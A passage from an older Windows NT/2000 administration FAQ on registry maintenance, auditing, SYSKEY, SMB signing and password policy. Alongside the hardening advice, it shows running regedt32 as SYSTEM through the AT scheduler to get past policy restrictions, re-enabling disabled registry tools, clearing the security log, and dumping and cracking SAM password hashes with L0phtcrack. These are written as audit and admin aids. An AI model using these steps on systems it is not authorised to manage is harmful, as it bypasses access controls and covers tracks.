You could add this to a login script.

Alternatively run remotely by submitting with the AT command. The change will not take effect until the machine reboots. If you wanted the reboot to occur you could add a reboot using the Resource Kit SHUTDOWN.EXE utility (as explained in
Q. How can I configure the machine to reboot at a certain time?)


Q. I can't update DWORD values using REG.EXE.

A. There is a bug in REG.EXE supplied with the NT 4.0 resource kit. Download a fixed version from ftp://ftp.microsoft.com/bussys/winnt/winnt-public/reskit/nt40/i386/reg_x86.exe


Q. How can I install a .inf file from the command line?

A. The normal method to install a .inf file is to right click on it and select Install from the context menu however it is also possible to install from the command line. The syntax is:

C:\> rundll32 syssetup,SetupInfObjectInstallAction DefaultInstall 128 .\<file>.inf


Q. How can I compress the registry?

A. The following procedure can be used to compact the registry files, but also to restore the 'repair disk data' when you messed up the registry:

1) As always, make sure you have a backup of you're system, including the registry

2) Run Start: "RDISK /S-". This automatically updates the repair info located under %systemroot%\repair. The registry data are reorganized and compressed.

3) Next step is to expand these files to a temporary location.

EXPAND %systemroot%\REPAIR\DEFAULT._ %temp%\DEFAULT
EXPAND %systemroot%\REPAIR\SAM._ %temp%\SAM
EXPAND %systemroot%\REPAIR\SECURITY._ %temp%\SECURITY
EXPAND %systemroot%\REPAIR\SOFTWARE._ %temp%\SOFTWARE
EXPAND %systemroot%\REPAIR\SYSTEM._ %temp%\SYSTEM

4) Check your %temp% folder and %systemroot%\system32\config to find the difference in size between the different files that make up the registry. Probably the SOFTWARE hive will have a remarkable difference. In my case it shrinked from over 10Mb to 3.5Mb.

5) The registry files in %systemroot%\system32\config should be replaced by the reorganized ones in your %temp% folder. You can do this by:

  • Booting to DOS or Win3.x/95/98 and simply replace the files (in case your system files are on a FAT partition).
  • Replacing these files while booting from a second Windows NT installation.
  • Or by using the MV command (move) from the Resource Kit to move these files at boot-time:
    MV /X /D %temp%\DEFAULT %systemroot%\SYSTEM32\CONFIG\DEFAULT
    MV /X /D %temp%\SAM %systemroot%\SYSTEM32\CONFIG\SAM
    MV /X /D %temp%\SECURITY %systemroot%\SYSTEM32\CONFIG\SECURITY
    MV /X /D %temp%\SOFTWARE %systemroot%\SYSTEM32\CONFIG\SOFTWARE
    MV /X /D %temp%\SYSTEM %systemroot%\SYSTEM32\CONFIG\SYSTEM

When I performed these steps I notices a serious performance gain during system startup.


Q. Access to the registry tools has been stopped, is there any way to get access?

A. I include this as I had the exact problem on site a couple of days ago and I want Administrators to be aware that this can be done.

If the scheduler service is running on your PC (or if you can start it) you can submit the registry editor to start via the scheduler and it will then be started under the system context. For example

C:\> at <1 minute in the future> /interactive regedt32.exe

One minute from submission regedt32.exe will be started giving you full access to the registry. Cool!

You can also re-enable the tools by writing a small .reg file and double click on it which gives full access:

REGEDIT4

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System]
"DisableRegistryTools"=dword:00000000

Save as disableregistrytools.reg, double click from Explorer and you will have full registry access.


Q. Where does Windows 2000 store the last key accessed?

A. In Windows 2000 when you start the registry editor it remembers where you last were and automatically reopens that key. This information is actually stored in the registry in location:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Applets\Regedit\LastKey

If this annoys you, it could be reset at each logon to null via a script with a .reg file, e.g.

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Applets\Regedit]
"LastKey"=""


Q. What's new in the Windows 2000 version of RegEdit?

A. As we saw in the last registry tip, the Windows 2000 version of Regedit.exe now remember the last key that was open when you start the application.

The second major change is the introduction of a favorites menu to which you can add you most used and 'favorite' registry keys (you would have to be sad :-) ).

REGEDT32.EXE has not had any major functionality changes.


Q. How do I add a DWORD value from a .INF file?

A. An inf file has many uses including the creation of registry keys. Normally a string value is created but to create a DWORD use the following format:

[Version]
Signature = "$Windows NT$"
Provider=%Provider%

[Strings]
Provider="SavillTech Ltd"

[DefaultInstall]
AddReg = AddReg
DelReg = DelReg
UpdateInis = UpdateInis

[AddReg]
HKLM,"Software\SavillTech","A DWORD",65537,ee,ff,c0,00
[DelReg]
[UpdateInis]

The important part is after the value name "A DWORD" is the type and a 0 in lowest bit means a string value, a 1 means another type. 0x10000 is a DWORD value hence 65537. The rest if the value is in four hexadecimal numbers.


Q. How do I enable auditing?

A. Logon as the Administrator (or a member of the Administrators group) and perform the following

  1. From the Start Menu, Programs, Administrative Tools and start User Manager
  2. From the Policies menu, select Audit
  3. Enable the events you want to Audit and click OK
  4. Exit User Manager

It is also possible to configure auditing on a file/directory. Right click on the file/directory, select properties, and select the security tab and then select auditing.


Q. How do I view/clear the security log?

A. Logon as the Administrator (or a member of the Administrators group) and perform the following

  1. From the Start Menu, Programs, Administrative Tools and start Event Viewer
  2. From the Log menu, select Security
  3. Double click any entry for more information
  4. Close the individual event information window
  5. To clear, select Log and clear all events. It will ask if you want to save the info, click No.
  6. It will prompt again if you are sure, click Yes
  7. Close Event Viewer

In Windows 2000 start the Event Viewer MMC snap-in (Start - Programs - Administrative Tools - Event Viewer, or via Computer Manager). Right click on the Security Log and you can clear from the context menu.


Q. Where can I get more information on the Event Viewer?

A. See http://www.heysoft.de/ for more information


Q. Where can I get information on NT security problems?

A. There are various sites:

  • http://www.ntsecurity.com
  • http://www.ntsecurity.net
  • http://www.microsoft.com/security


Q. How can I restore the default permissions to the NT structure?

A. Follow the procedure below:

  1. Logon as administrator.
  2. The built-in SYSTEM account needs access to the Windows NT default directories and subdirectories. To get this access, do the following:
    - In File Manager use Security/Permissions to grant the SYSTEM account FULL CONTROL to the root directory of the NTFS volume that contains Windows NT.
    - Next, select the option to Replace Permissions on Subdirectories, which gives SYSTEM access to the entire volume
  3. Start Registry Editor (Regedit.exe).
  4. Go to HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SessionManager
  5. Double-click the value BootExecute.
  6. Under BootExecute, you may find a few entries, such as:
    autocheck autochk *
    After any entries, add on a separate line:
    setacl /a \DosDevices\<systemdrive>:\<winnt_root>\System32\winperms.txt \DosDevices\<systemdrive>:
    Here <systemdrive> is the drive that Windows NT is installed on and <winnt_root> is the Windows NT root directory on that drive.
  7. Save changes by clicking OK.
  8. Exit the registry editor and restart the computer.
  9. On restart, the system will set security on the system files to the norm

The procedure above will only work on an NT 3.51 system. To perform the above on an NT 4.0 system you require the Windows NT Resource Kit Supplement 2, or for Windows 2000 the normal resource kit and should perform the following

  1. Logon as an Account that has "Backup files and folders" privilege
  2. Run the FIXACLS.EXE utility (Start - run - fixacls)
  3. Click the Continue button
  4. Click OK when completed.

FIXACLS in NT 4.0 sets the permissions to the values defined in %SYSTEMROOT%\INF\PERMS.INF. Therefore, access to this file is also required to run FIXACLS.


Q. How can I copy files and keep their security and permissions?

A. By default when you copy files from one NTFS partition to another, the files inherit their protections from the parent directory. It is possible to copy the files and keep their settings using the SCOPY program that comes with the NT resource kit. SCOPY can copy owner and security audit information:
SCOPY c:\savilltech\secure.dat d:\temp\ /o /a
would copy the owner and auditing information. You can also use /s to copy information in subdirectories.

The restriction for this command is that both the origin and target drives must be NTFS or the command will fail.


Q. How do I enable auditing on certain files/directories?

A. Auditing is only available on NTFS volumes. Follow the instructions below:

  1. Start Explorer
  2. Right click on the file/directory you want to audit, and from the context menu select properties
  3. Select the Security tab and click Auditing
  4. If you have selected a directory, check the "replace auditing on subdirectories"
  5. Click the Add button and add the user(s) who you wish to audit by selecting and clicking Add. When finished adding users, click OK
  6. Select the events you wish to audit and then click OK

You must ensure that File access auditing is enabled (Start - Programs - Administrative Tools - User Manager - Policies - Audit).

These events can then be viewed using the Event Viewer (Start - Programs - Administrative Tools - Event Viewer - Log - Security)


Q. How do I use the System Key functionality of Service Pack 3?

A. Service Pack 3 introduced a new feature in NT with the ability of increasing security on the SAM database. This is performed by introducing a new key in one of 3 modes

  1. A secure key generated by the system which is used to encrypt the SAM which is stored on the local hard disk
  2. A secure key generated by the system which is stored on a floppy disk which has to be placed in the computer at bootup
  3. A password given by the user is used to encrypt the SAM and has to be entered on bootup

To generate the system key you use the syskey.exe, however be warned, once you activate the encryption you cannot turn it off without performing a system recovery using an ERD produced before syskey was enabled. To enable encryption perform the following

  1. Make sure Service Pack 3 is installed
  2. Log on to the system as a member of the Administrators group (only administrators can run syskey.exe)
  3. Create a new ERD (rdisk /s) and store somewhere safe and label the disk "Pre System Key ERD"
  4. Run the System Key generation utility (Start - Run - syskey.exe)
  5. A dialog box will be displayed with encryption disabled. Select Encryption enabled and click OK
  6. Click OK to the warning dialog box
  7. Select which of the 3 encryption modes you require, if password enter a password and then enter again for verification. If you choose stored on floppy disk you will be prompted to insert a disk and then click OK.
  8. Click OK and a success message will be displayed, click OK
  9. You now need to reboot the machine
  10. Once rebooted you should create a new ERD (rdisk /s)

Once rebooted if you choose a password once the GUI phase of NT starts a dialog box will be displayed and you should enter the password you gave and click OK, after that you may log on as normal. If you choose floppy disk you will be prompted to insert the disk and then click OK

Although you cannot remove the system key, you can change the mode by running syskey.exe and click Update. You will be asked to either enter the existing password or insert the system key floppy if changing from one of these modes.

For more information see Q143475 at http://support.microsoft.com/support/kb/articles/q143/4/75.asp


Q. How do I remove the System Key functionality of Service Pack 3?

A. As stated in the previous FAQ there is not a simple remove function however if you restore the SAM from an ERD that was taken before the system key was enabled, it will remove this feature from the system.

  1. Boot off of the NT installation disks
  2. After disk 2 press R for repair
  3. Deselect everything except "Inspect registry files" and select continue
  4. Continue as per normal, inserting disk 3 and then the ERD (the one created before syskey was run)
  5. Once completed reboot and you should no longer have the system key in use


Q. How can I configure the system to stop when the security log is full?

A. To avoid security logs being lost you can configure the system to halt if the security log becomes full so that only Administrators can logon, they can then archive the log and purge

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
  3. If CrashOnAuditFail exists then skip to step 4, if not from the Edit menu select New - DWORD value and enter a name of CrashOnAuditFail. Click OK
  4. Double click on CrashOnAuditFail and set to either:
    1 - Stop if the audit log is full
    2 - This is set by the operating system just before the system crashes due to a full audit log. When set to 2 only the administrator can logon.
  5. Close the registry editor

When this happens the OS will display a BSOD.


Q. How can I clear the pagefile at shutdown?

A. As you will be aware the pagefile contains areas of memory that were swapped out to disk, it may be in a secure environment you want this pagefile cleared when the machine is shutdown as parts of memory containing passwords/sensitive information may have been mapped out to the pagefile.

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management
  3. If the value ClearPageFileAtShutdown does not exist, from the Edit menu select New - DWORD value and enter a name of ClearPageFileAtShutdown
  4. Double click on ClearPageFileAtShutdown and set to 1
  5. Reboot the machine and next time you shutdown the pagefile will be cleared


Q. How do I enable strong password filtering?

A. Windows NT 4.0 Service Pack 2 introduced a new password filter, passfilt.dll, which implements the following new restrictions

  • Passwords must be at least 6 characters long
  • Passwords must meet at least 3 of the following criteria
    - Uppercase letters A-Z
    - Lowercase letters a-z
    - Number(s) 0-9
    - Non-alphanumeric character (e.g. !, etc.)
  • Password may not contain your user name or any part of your full name

To enable this functionality perform the following on all PDC's (and stand alone's if used). You do not need to install this on BDC's, however you should in case the BDC is promoted to a PDC.

  1. Start the registry editor (regedt32.exe, do not use regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
  3. Double click on "Notification Packages"
  4. Add PASSFILT on a new line (there may be a FPNWCLNT so you should add this after this value). Click OK
  5. Close the registry editor
  6. Reboot the machine

It should be noted you will still be able to set passwords in User Manager that do not meet the criteria, this is by design as direct SAM updates are not filtered.


Q. How do I set what happens during a crash?

A. By default a crash dump file will be produced but there are two other items that can be configured.

The first option is to enter a log entry in the system log. This can be set using the Startup/Shutdown tab of the system control panel applet in NT 4.0 and the "Startup and Recovery" button under the Advanced tab of the system control panel applet in NT 5.0 by checking the "Write an event to the system log".

This can also be achieved by setting the registy key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\CrashControl\LogEvent to 1.

The other option is to send an Administrative alert (you need the alerter service to be running to enable this option). Again using the same dialog as before check the "Send an administrive alert".

This can also be achieved by setting the registy key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\CrashControl\SendAlert to 1.


Q. How can I configure the system to automatically reboot in the event of a crash?

A. This can be set using the Startup/Shutdown tab of the system control panel applet in NT 4.0 and the "Startup and Recovery" button under the Advanced tab of the system control panel applet in NT 5.0 by checking the "Automatically reboot".

This can also be achieved by setting the registy key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\CrashControl\AutoReboot to 1.


Q. How do I enable auditing on the SAM?

A. It is possible to enable auditing of any failed or successful access to your sensitive information by the only accounts which have the ability to access such information, e.g. Administrators. This can be done as follows:

  1. First ensure auditing is enabled on the system using User Manager - Policies menu - Audit. Select the "Audit These Events". Choose the objects to audit and click OK.
  2. Next make sure the Scheduler service is running on the machine either via the Services Control Panel applet (Start - Settings - Control Panel - Services) or type "net start" and look for "Scheduler". If it is not running you can start by typing
    C:\> net start schedule
  3. At the command prompt (cmd.exe) type
    C:\> at <time> /interactive "regedt32.exe"
    where <time> is a minute in the future.
  4. At the time entered Regedt32.exe will be started but running under the internal System account. This allows access to areas normally inaccessible.
  5. Select the HKEY_LOCAL_MACHINE window
  6. Select the SAM key and from the Security menu select Auditing
    Changing auditing
  7. Click the Add button and on the displayed dialog (which will show groups) click the 'Show Users' button.
  8. Add the following:
    - SYSTEM
    - Domain Admins
    - Administrator
    - Backup Operators
    and any other accounts with the following:
    - Take ownership of files or other objects
    - Back up files and directories
    - Manage auditing and security log
    - Restore files and directories
    - Add workstations to domain
    - Replace a process level token
    Click OK
  9. Check the "Audit Permissions on Existing Subkeys" box
  10. Set Success and Failure for
    - Query Value
    - Set Value
    - Write DAC
    - Read Control
    Audit settings for passwords
  11. Click OK. Click Yes to the dialog that asks if you want to audit all existing subkeys in the SAM.
  12. You should now repeat but on the Security key steps 6 to 11.
  13. Close the registry editor
  14. Stop the schedule service is you only started it for this task
    C:\> net stop schedule

Auditing the Security key is optional but without it only password keys will be audited. Setting auditing on the Security key will allow you to track other security relevant changes to the system.

You will now see entries in the Security log via event viewer, e.g.

Example event log for a password change


Q. How can I enable strong protection on shared system objects?

A. It is possible to tighten security on shared system resource attributes, such as the attributes of COM1: or of printers. By tightening base security, these shared resources will be administered only by system administrators.

To enable this perform the following:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager
  3. From the Edit menu select New - DWORD value and enter a name of ProtectionMode if it does not already exist
  4. Double click the value and set to 1. Click OK
  5. Reboot the computer

After performing this change you should update your Emergency Repair Disk using RDISK.EXE.


Q. How can I restrict access to objects from Anonymous accounts?

A. It is possible to restrict the ability to list domain user names and enumerate share names available to anonymous logon users (also known as NULL session connections). If you feel this is a security risk Service Pack 3 for Windows NT 4.0 introduces a new option to stop anonymous users listing users and shares.

To enable this perform the following:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
  3. From the Edit menu select New - DWORD value and enter a name of RestrictAnonymous if it does not already exist
  4. Double click the value and set to 1. Click OK
  5. Reboot the computer

After performing this change you should update your Emergency Repair Disk using RDISK.EXE.


Q. How do I enable SMB signing?

A. Windows NT 4.0 Service Pack 3 provides an updated version of the Server Message Block (SMB) authentication protocol, also known as the Common Internet File System (CIFS) file sharing protocol.

When SMB signing is enabled on both the client and server SMB sessions are authenticated between the machines on a packet by packet basis. This does have a performance hit of between 10 to 15% as every packets signature has to be verified.

To enable SMB signing on the NT Server perform the following:

  1. Start the Registry Editor (Regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanManServer\Parameters
  3. From the Edit menu select New - DWORD value
  4. Add the following two values EnableSecuritySignature and RequireSecuritySignature if they do not exist.
  5. You should set to 0 for disable (the default) or 1 to enable. Enabling EnableSecuritySignature means if the client also has SMB signing enabled then that is the preferred communication method, but setting RequireSecuritySignature to enabled means SMB signing MUST be used and so if the client is not SMB signature enabled then communication will fail
  6. Close the registry editor
  7. Shut down and restart Windows NT.

By default a Workstation with SP3 or above is SMB signing enabled but to manually enable:

  1. Start the Registry Editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Rdr\Parameters
  3. From the Edit menu select New - DWORD value
  4. Add the following two values EnableSecuritySignature and RequireSecuritySignature if they do not exist.
  5. Enabling EnableSecuritySignature means if the server also has SMB signing enabled then that is the preferred communication method, but setting RequireSecuritySignature to enabled means SMB signing MUST be used and so if the server is not SMB signature enabled then communication will fail
  6. Close the registry editor
  7. Shut down and restart Windows NT.

If you have set RequireSecuritySignature then any clients not support SMB signing will fail to communicate including logons and you may receive the error:

"Invalid user name or password..."

If you get this then check the workstation is SMB signing enabled.


Q. How do I disable LanManager challenge/response in NT?

A. Windows NT Servers with Service Pack 4 and above support three authentication types,

  • LanManager (LM) challenge/response
  • Windows NT challenge/response (also known as NTLM challenge/response)
  • Windows NT challenge/response Version 2.0 (also known as NTLM2)

By default when a client connects to a server both LM and NTLM are used in case the server does not support NTLM however LM is far weaker than NTLM so you may wish to disable LM for security reasons.

Editing the registry key described allows the client to select which authentication is will use but ensure is NTLM2 is select SP4 is applied to all servers. The setting below is required on the clients and servers so you may wish to automate this via a logon script or policy

  1. Start the registry editor
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
  3. From the edit menu select New - DWORD value
  4. Enter a name of LMCompatibilityLevel and press Enter
  5. Double click the new value and set to one of the following
    0 - Send LM response and NTLM response; never use NTLMv2 session security
    1 - Use NTLMv2 session security if negotiated
    2 - Send NTLM response only
    3 - Send NTLMv2 response only
    4 - DC refuses LM responses
    5 - DC refuses LM and NTLM responses (accepts only NTLMv2)
  6. Close the registry editor
  7. Reboot the machine

For more information on deploying see http://support.microsoft.com/support/kb/articles/q147/7/06.asp


Q. How can I check the security of my passwords?

A. Microsoft have a strong password filter that can force users to use passwords that are not easily guessable and more details can be found at 'Q. How do I enable strong password filtering?'.

If you want to test all your users's password's an excellent utility is l0phtcrack that will try and ascertain your passwords.

L0phtcrack allows NT Administrators & Information Security Engineers to quickly evaluate the security of users passwords. L0phtcrack supports traditional dictionary attacks, hybrid dictionary attacks, and fullblown exhaustive keyspace attacks (user definable).

L0phtcrack can gather NT password hashes through a number of ways, including the registry, SAM files, or even by monitoring SMB network activity.

L0phtcrack has recently won the InfoWorld Golden Guardian award and has been recommended by Microsoft.

Lophtcrack can be downloaded from http://www.l0pht.com/l0phtcrack/ and can be used for free for 15 days and is very simple to use once installed.

Once you start the utility you can either load in a Sam file (from the %systemroot%\system32\config directory) but not on your current installation as the files are locked or dump out passwords from the registry by selecting "Dump Passwords from Registry" from the Tools menu and select the computer, e.g. a domain controller or the local machine. If you want to dump from the registry you must be an Administrator on the machine whose registry you are trying to dump.

After importing the information from a source you will have a list of usernames and the hash values of the passwords, selecting 'Run Crack' from the Tools menu will then start the attack on the passwords.

5 down, 4 to go
Notice the easy passwords were found quickly and it is starting to guess the more complex ones, only a matter of time.

The idea of running this is to find people who are using weak passwords and force them to change it, a good start is to use the strong password filtering which will FORCE users to use complex passwords and always make sure to have a minimum password length of 8 characters (set in User Manager - Policies - Account). This helps, but can give a person a false sense of security. For example, if the password requirement is just alphanumeric, a password like "N0ts3cur3" would be guessed rather quickly with a hybrid dictionary attack so you should still audit passwords regularly.

One reader of the FAQ has pointed out 8 characters is not the best number as an 8 character password consists of basically one 7 character passwords and a one letter password (the last character) which will be guessed almost instantly and may give a clue to the first seven characters. Many times, we've guessed the first half of the password based off of the 8th, 9th, and 10th characters. (i.e. ???????werty is either 123456qwerty or qwertyqwerty)

"When users are forced to use special characters, 9 out of 10 times, the user will put the special character at the end of the password. In an 8 character minimum password, the eight character becomes the symbol, and the first seven are letters and num! bers. The seven characters are cracked with L0pht crack in 24 hours or less. Thus, an 8 character password (even with a special character at the end) may either be cracked in 24 hours, or give up enough info to guess the first half (yes - a lot of assumptions here - but this theory has held up over 30,000 times). I'd like us to reset the industry line of thought on NT passwords and suggest that the strongest password policies are those that require seven characters (instead of 6 or 8). Also, the strongest passwords are those that are either 7 or 14 characters exactly, with at least one special character in each half (with very few exceptions - note Paul Ashtons 7 character or less pwd attack). Given that users will write down pwds that are 14 characters in length, 7 becomes the next best choice. I believe Dave Leblanc, InfoWorld, and some folks at Microsoft will agree that exactly 7 characters is a recommended length."


A description of Permissions in NT.

The default permissions in NT are loose to provide for easy use (see Microsoft Knowledge Base Article Q148437). To make the system more secure, read "Securing Windows NT Installation" (http://www.microsoft.com/NTServer/Basics/TechPapers/). With a few exceptions, it suggests granting Administrators, Creator/Owner and System Full Control, Everyone Read for all system and program files, and leaving registry permissions alone. But be forewarned: unless you have the luxury of restricting programs to those that have earned the NT logo, be prepared for some hassles if you do it. And, Microsoft missed a few, in particular the need to remove Everyone Read from the system logs, \%systemroot%\system32\config and its contents.

Help topics 'Special Access Directory Permissions' and 'Special Access File Permissions' describe the 6 types of permission in the NT file system. Each can be applied to directories and files on a top-down then individual basis. Windows Explorer may be used (Properties) to apply ownership and permissions to directories and files for small systems.

Under Windows NT, deny access takes precedence over grant access (article Q102608). When NT checks permissions, it does so in one pass, not discriminating between users and groups. As soon as any "deny access" permission is reached, the search is terminated and access to the resource is denied. So, if Everyone No Access is in the list for something, that's exactly what it means. (NT Everyone is not Unix World! The only way to recover from that misconception is for an administrator to forcibly take ownership of the item then amend the permissions.) To give Owner full access and everyone ELSE read-only, grant Creator/Owner Full Control, Users Read; to refuse access to everyone else, simply omit any entry for Users. It is essential to retain System Full Control of all NT system files, unless you enjoy plugging hard drives into other machines to get them working again.

A useful structure for an independent user environment is to create a directory \<username> with permission <username> Full Control, then designate that as the user's root directory. The same permission should be applied to \%systemroot%\System32\Profiles\<username> and all its contents. If users are to maintain their own phone books, Users Read/Write is needed for the \%systemroot%\System32\RAS directory, then <username> Full Control for the <username>.pbk file in it when the user creates it.

Some programs with 16-bit code in them (e.g. WordPerfect 8) require Change permission to the \Temp directory so they can store swap files (to bypass the 16-bit memory limit). Unfortunately, in NT this directory is used for sensitive system files, so real security is not possible if such programs are used.

Legacy programs often assume full access to their system registry entries. Regedt32 (Security) is used to apply permissions to individual registry entries. If you get abnormal behavior of a program, try granting Everyone Full Control to all the keys under the company's name in the Local Machine registry section. (Backup the registry first, of course, for restore if it doesn't work.) For example: WordPerfect 8 announces that ASCII files are an 'unsupported format' unless Users have Full Control of the Corel key and all its subkeys; Storm's EasyPhoto terminates with 'lego not found' unless Users have Full Control of the Storm registry. Most TWAIN systems require Users Change access to \WinNT and all Twain*/Twunk* files in it.

You can get what look like permission or sharing problems if you use the Internet Explorer Connection Wizard to set up Internet connections - Fax enabled can prevent modem access etc. You should delete all IE-generated connections and establish new ones with the NT Dial-up Networking system, not the IE system. Individual account connections should be set up in user phone lists, not the (default) system list, especially if users store their passwords. (This can be forced by granting only Administrator and System access to rasphone.pbk)

Reports on groups, users, ownership and permissions are not available from Microsoft (article Q137848), but are available from others. See http://www.microsoft.com/security/default.asp for links to these and other advanced NT security resources.

Contributed by John Sankey


Q. How can I restrict guest access to Event logs?

A. By default guests and anonymous can view the event log, this may give away important information and so anonymous/guest access can be disabled as follows:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog
  3. Move to the subkey Application
  4. From the Edit menu select New - DWORD value. Enter a name of RestrictGuestAccess. click OK
  5. Double click the new value and set to 1
  6. Repeat steps 4 and 5 for the Security and System sub-keys also.

In fact this is also governed by the registry rights on the corresponding eventlog paramters (HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - application and system). You can even remove Administrators rights to read the files by using the registry rights. Use REGEDT32.EXE to change these rights.


Q. How can I restrict guest access to Event logs?

Q. How can I enable auditing of base objects?

A. To enable auditing of base objects perform the following:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
  3. From the Edit menu select New - DWORD value. Enter a name of AuditBaseObjects. click OK
  4. Double click the new value and set to 1

You can also turn on full privilege auditing (but this will fill your event log):

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
  3. From the Edit menu select New - DWORD value. Enter a name of FullPrivilegeAuditing. click OK
  4. Double click the new value and set to 1


Q. How can I configure my system to be C2 compliant?

A. The National Computer Security Center (NCSC) is the United States government agency responsible for performing software product security evaluations. These evaluations are carried out against a set of requirements outlined in the NCSC publication Department of Defense Trusted Computer System Evaluation Criteria, which is commonly referred to as the Orange Book. Windows NT has been successfully evaluated by the NCSC at the C2 level as defined in the Orange Book however to confirm you system meets the criteria to be C2 compliant you should use the C2CONFIG.EXE utility supplied with the Windows NT/Windows 2000 resource kit.

Double clicking on an open lock will result in the program offering to resolve the issue, for example disabling the OS/2 subsystem.


Q. How can I enforce an Internet access control policy?

A. If you wish to ensure that web browsing during company time is strictly for
business use, you would have to install a product that can enforce this
policy. There are two ways of doing this:

  1. Installing a proxy server with content control feature
  2. Installing a network monitor/scanner with content control feature.

If you use number 1, you will need to reconfigure all your users browsers.
Additionally, you could suffer a performance penalty. If you already use a
proxy server such as Microsoft Proxy server, you do not need to reconfigure
though, and you can purchase add on modules that do content checking.

Option number 2 requires no network reconfiguration and can block all types
of internet traffic. Examples of such products are:

  • Languard (www.languard.com)
  • Surfcontrol (www.surfcontrol.com)
  • Littlebrother (www.littlebrother.com)


Q. What does System Key actually protect my passwords from?

A. System key enables stronger encryption of account passwords stored in the registry in the SAM (Security Account Manager) database. With System key installed the passwords have enhanced encryption in the SAM. Note this is only the passwords and not for example the user name.

When System Key encryption has been enabled backups of the SAM database will also be encrypted: For example on back up tapes, RDISK and %systemroot%\repair. Which are often used to crack passwords.

System Key is used to make the decrypting or cracking of your passwords from the SAM more difficult and time consuming. Crackers such as L0pht crack , John the Ripper, Crack 5 with NT Extensions are used often to break NT password hashes. These use dictionary and brute force types of techniques. L0pht Crack is now using a form of intelligent brute forcing, which is the next generation of crackers.

- System Key prevents SAM dumping with the tool built into L0pht Crack 2.5.

- System Key prevents SAM dumping with the tool pwdump.

- System Key does not stop SAM dumping with the tool pwdump2 which uses DLL injection techniques different to pwdump.

- System Key does not prevent password cracking or decryption.

- System Key reuses the keystream used to perform some of the encryption.
This significantly reduces the strength of the protection it provides by enabling a well-known cryptanalytic attack to be used against it. Todd Sabin from Bindview (www.bindview.com) and the author of pwdump2 discovered this exploit in December-1999.

- System Key still increases the time and complexity to crack password hashes.

Note; Pwdump and pwdump2 require administrator access to be used.

System Key affects the following system components:
%systemroot%\system32\config\sam HKEY_LOCAL_MACHINE\SAM
%systemroot%\system32\config\security HKEY_LOCAL_MACHINE\Security

and three system security component files: Winlogon.exe, Samsrv.dll, Samlib.dll

Also see Q. How do I use the System Key functionality of Service Pack 3? for installing System Key.

For more information on System Key see Q143475 at http://support.microsoft.com/support/kb/articles/q143/4/75.asp

For information on the "System Key Keystream Reuse" Vulnerability and patch see http://www.microsoft.com/security/bulletins/ms99-056.asp

Contributed by Nathan House


Q. What is a SID (Security ID)?

A. SID stands for Security Identifier and is used within NT/2000 as a value to uniquely identify an object such as a user or a group. The SID assigned to a user becomes part of the access token, which is then attached to any action attempted or process executed by that user or group. If a duplicate SID did exist then all users with this SID would authenticate as what would be seen as the same user. It is possible for cloned machines to have the same SID, which would be seen by the authentication mechanism as the same machine. The SID under normal operation will be unique and will identify an individual object such as a user, group or a machine.

A SID contains:

  • User and group security descriptors
  • 48-bit ID authority
  • Revision level
  • Variable sub-authority values

For example: S-1-5-21-917267712-1342860078-1792151419-500

Below is a list of the values for SIDs on a default NT 4 installation;

Notice the unique value 500 for Administrator and 501 for Guest.

- Built-In Users

DOMAINNAME\ADMINISTRATOR

S-1-5-21-917267712-1342860078-1792151419-500 (=0x1F4)

DOMAINNAME\GUEST

S-1-5-21-917267712-1342860078-1792151419-501 (=0x1F5)

- Built-In Global Groups

DOMAINNAME\DOMAIN ADMINS

S-1-5-21-917267712-1342860078-1792151419-512 (=0x200)

DOMAINNAME\DOMAIN USERS

S-1-5-21-917267712-1342860078-1792151419-513 (=0x201)

DOMAINNAME\DOMAIN GUESTS

S-1-5-21-917267712-1342860078-1792151419-514 (=0x202)

- Built-In Local Groups

BUILTIN\ADMINISTRATORS S-1-5-32-544 (=0x220)

BUILTIN\USERS S-1-5-32-545 (=0x221)

BUILTIN\GUESTS S-1-5-32-546 (=0x222)

BUILTIN\ACCOUNT OPERATORS S-1-5-32-548 (=0x224)

BUILTIN\SERVER OPERATORS S-1-5-32-549 (=0x225)

BUILTIN\PRINT OPERATORS S-1-5-32-550 (=0x226)

BUILTIN\BACKUP OPERATORS S-1-5-32-551 (=0x227)

BUILTIN\REPLICATOR S-1-5-32-552 (=0x228)

- Special Groups

\CREATOR OWNER S-1-3-0

\EVERYONE S-1-1-0

NT AUTHORITY\NETWORK S-1-5-2

NT AUTHORITY\INTERACTIVE S-1-5-4

NT AUTHORITY\SYSTEM S-1-5-18

NT AUTHORITY\authenticated users S-1-5-11 *

* For Windows NT 4.0 Service Pack 3 and later only

These values can be displayed by using the utility Getsid.exe from the Windows NT Resource Kit.

C:\>getsid \\MACHINE ACCOUNT \\MACHINE ACCOUNT

The SID for account MACHINE\ ACCOUNT matches account MACHINE\ ACCOUNT

The SID for account MACHINE\ ACCOUNT is

S-1-5-21-1271857391-537538043-240200450-4294967295

The SID for account MACHINE\ ACCOUNT is

